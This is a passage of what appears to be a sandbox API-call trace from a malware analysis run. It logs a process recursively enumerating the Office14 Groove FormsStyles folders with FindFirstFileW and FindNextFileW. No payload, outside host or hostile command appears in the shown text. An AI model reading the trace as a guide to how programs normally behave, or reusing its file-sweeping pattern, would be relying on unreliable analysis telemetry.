ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0202.967] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0202.970] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfecf00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eaf6290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bfecf00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADD.GIF", cAlternateFileName="")) returned 1 [0202.970] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfecf00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eaf6290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bfecf00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xbe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AddToViewArrow.jpg", cAlternateFileName="ADDTOV~1.JPG")) returned 1 [0202.970] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfecf00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5127f1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bfecf00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x924, dwReserved0=0x0, dwReserved1=0x0, cFileName="AddToViewArrowMask.bmp", cAlternateFileName="ADDTOV~1.BMP")) returned 1 [0202.970] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfecf00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bfecf00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="attention.gif", cAlternateFileName="ATTENT~1.GIF")) returned 1 [0202.970] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfecf00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f61e9b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bfecf00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x614e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BG_ADOBE.GIF", cAlternateFileName="")) returned 1 [0202.971] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfecf00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f61e9b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bfecf00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x161d, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_Casual.gif", cAlternateFileName="BG_CAS~1.GIF")) returned 1 [0202.971] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfecf00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f644b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bfecf00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x7dd3, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_Country.gif", cAlternateFileName="BG_COU~1.GIF")) returned 1 [0202.971] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfecf00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f644b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bfecf00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x132a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_Earthy.gif", cAlternateFileName="BG_EAR~1.GIF")) returned 1 [0202.971] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfecf00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f644b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bfecf00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x167bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_FormsHomePage.gif", cAlternateFileName="BG_FOR~2.GIF")) returned 1 [0202.971] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfecf00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x519a33f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bfecf00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x4ebb, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_FormsHomePageBlank.gif", cAlternateFileName="BG_FOR~1.GIF")) returned 1 [0202.971] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfecf00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f644b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bfecf00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x40f, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_FormsHomePageSlice.gif", cAlternateFileName="BG_FOR~3.GIF")) returned 1 [0202.971] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfecf00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x519a33f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bfecf00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x5690, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_GreenTea.gif", cAlternateFileName="BG_GRE~1.GIF")) returned 1 [0202.971] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfecf00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x519a33f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bfecf00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_Groove.gif", cAlternateFileName="BG_GRO~1.GIF")) returned 1 [0202.971] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d2ffc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f644b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d2ffc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x21a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_LightSpirit.gif", cAlternateFileName="BG_LIG~1.GIF")) returned 1 [0202.971] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d2ffc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f66ac70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d2ffc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3d57, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_OliveGreen.gif", cAlternateFileName="BG_OLI~1.GIF")) returned 1 [0202.971] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d2ffc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f66ac70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d2ffc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1845, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_Premium.gif", cAlternateFileName="BG_PRE~1.GIF")) returned 1 [0202.972] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d2ffc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f66ac70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d2ffc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x5141, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_SlateBlue.gif", cAlternateFileName="BG_SLA~1.GIF")) returned 1 [0202.972] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d2ffc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x519a33f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d2ffc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x193c, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_TexturedBlue.gif", cAlternateFileName="BG_TEX~1.GIF")) returned 1 [0202.972] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d2ffc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f66ac70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d2ffc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3c64, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_VelvetRose.gif", cAlternateFileName="BG_VEL~1.GIF")) returned 1 [0202.978] GetProcessHeap () returned 0x550000 [0202.978] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x264a108 [0202.978] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639948 [0202.991] GetProcessHeap () returned 0x550000 [0202.991] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x36d0048 [0202.992] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana\\*", lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528d0030, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639988 [0203.187] FindClose (in: hFindFile=0x639988 | out: hFindFile=0x639988) returned 1 [0203.187] GetProcessHeap () returned 0x550000 [0203.187] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x36d0048 | out: hHeap=0x550000) returned 1 [0203.187] GetProcessHeap () returned 0x550000 [0203.187] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x36d0048 [0203.187] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\*", lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528d0030, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639988 [0203.189] FindClose (in: hFindFile=0x639988 | out: hFindFile=0x639988) returned 1 [0203.189] GetProcessHeap () returned 0x550000 [0203.189] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x36d0048 | out: hHeap=0x550000) returned 1 [0203.189] GetProcessHeap () returned 0x550000 [0203.189] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x36d0048 [0203.189] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay\\*", lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639988 [0203.256] FindClose (in: hFindFile=0x639988 | out: hFindFile=0x639988) returned 1 [0203.256] GetProcessHeap () returned 0x550000 [0203.257] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x36d0048 | out: hHeap=0x550000) returned 1 [0203.257] GetProcessHeap () returned 0x550000 [0203.257] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x36d0048 [0203.257] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\*", lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639988 [0203.257] FindClose (in: hFindFile=0x639988 | out: hFindFile=0x639988) returned 1 [0203.257] GetProcessHeap () returned 0x550000 [0203.258] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x36d0048 | out: hHeap=0x550000) returned 1 [0203.258] GetProcessHeap () returned 0x550000 [0203.258] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x36d0048 [0203.258] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightYellow\\*", lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639988 [0203.259] FindClose (in: hFindFile=0x639988 | out: hFindFile=0x639988) returned 1 [0203.259] GetProcessHeap () returned 0x550000 [0203.259] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x36d0048 | out: hHeap=0x550000) returned 1 [0203.259] GetProcessHeap () returned 0x550000 [0203.259] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x36d0048 [0203.259] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert\\*", lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639988 [0203.260] FindClose (in: hFindFile=0x639988 | out: hFindFile=0x639988) returned 1 [0203.260] GetProcessHeap () returned 0x550000 [0203.260] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x36d0048 | out: hHeap=0x550000) returned 1 [0203.261] GetProcessHeap () returned 0x550000 [0203.261] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x36d0048 [0203.261] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GrayCheck\\*", lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639988 [0203.261] FindClose (in: hFindFile=0x639988 | out: hFindFile=0x639988) returned 1 [0203.268] GetProcessHeap () returned 0x550000 [0203.268] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x36d0048 | out: hHeap=0x550000) returned 1 [0203.268] GetProcessHeap () returned 0x550000 [0203.268] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x36d0048 [0203.268] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Lime\\*", lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639988 [0203.270] FindClose (in: hFindFile=0x639988 | out: hFindFile=0x639988) returned 1 [0203.270] GetProcessHeap () returned 0x550000 [0203.270] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x36d0048 | out: hHeap=0x550000) returned 1 [0203.270] GetProcessHeap () returned 0x550000 [0203.270] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x36d0048 [0203.270] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Oasis\\*", lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639988 [0203.270] FindClose (in: hFindFile=0x639988 | out: hFindFile=0x639988) returned 1 [0203.271] GetProcessHeap () returned 0x550000 [0203.271] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x36d0048 | out: hHeap=0x550000) returned 1 [0203.271] GetProcessHeap () returned 0x550000 [0203.271] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x36d0048 [0203.271] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Slate\\*", lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618c8a10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639988 [0203.272] FindClose (in: hFindFile=0x639988 | out: hFindFile=0x639988) returned 1 [0203.272] GetProcessHeap () returned 0x550000 [0203.272] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x36d0048 | out: hHeap=0x550000) returned 1 [0203.272] GetProcessHeap () returned 0x550000 [0203.272] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x36d0048 [0203.272] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SoftBlue\\*", lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618c8a10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639988 [0203.273] FindClose (in: hFindFile=0x639988 | out: hFindFile=0x639988) returned 1 [0203.273] GetProcessHeap () returned 0x550000 [0203.273] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x36d0048 | out: hHeap=0x550000) returned 1 [0203.273] GetProcessHeap () returned 0x550000 [0203.273] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x36d0048 [0203.273] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SpringGreen\\*", lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618c8a10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639988 [0203.274] FindClose (in: hFindFile=0x639988 | out: hFindFile=0x639988) returned 1 [0203.274] GetProcessHeap () returned 0x550000 [0203.274] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x36d0048 | out: hHeap=0x550000) returned 1 [0203.274] GetProcessHeap () returned 0x550000 [0203.274] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x36d0048 [0203.274] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\STS2\\*", lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618c8a10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639988 [0203.275] FindClose (in: hFindFile=0x639988 | out: hFindFile=0x639988) returned 1 [0203.276] GetProcessHeap () returned 0x550000 [0203.276] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x36d0048 | out: hHeap=0x550000) returned 1 [0203.276] GetProcessHeap () returned 0x550000 [0203.276] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x36d0048 [0203.276] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft 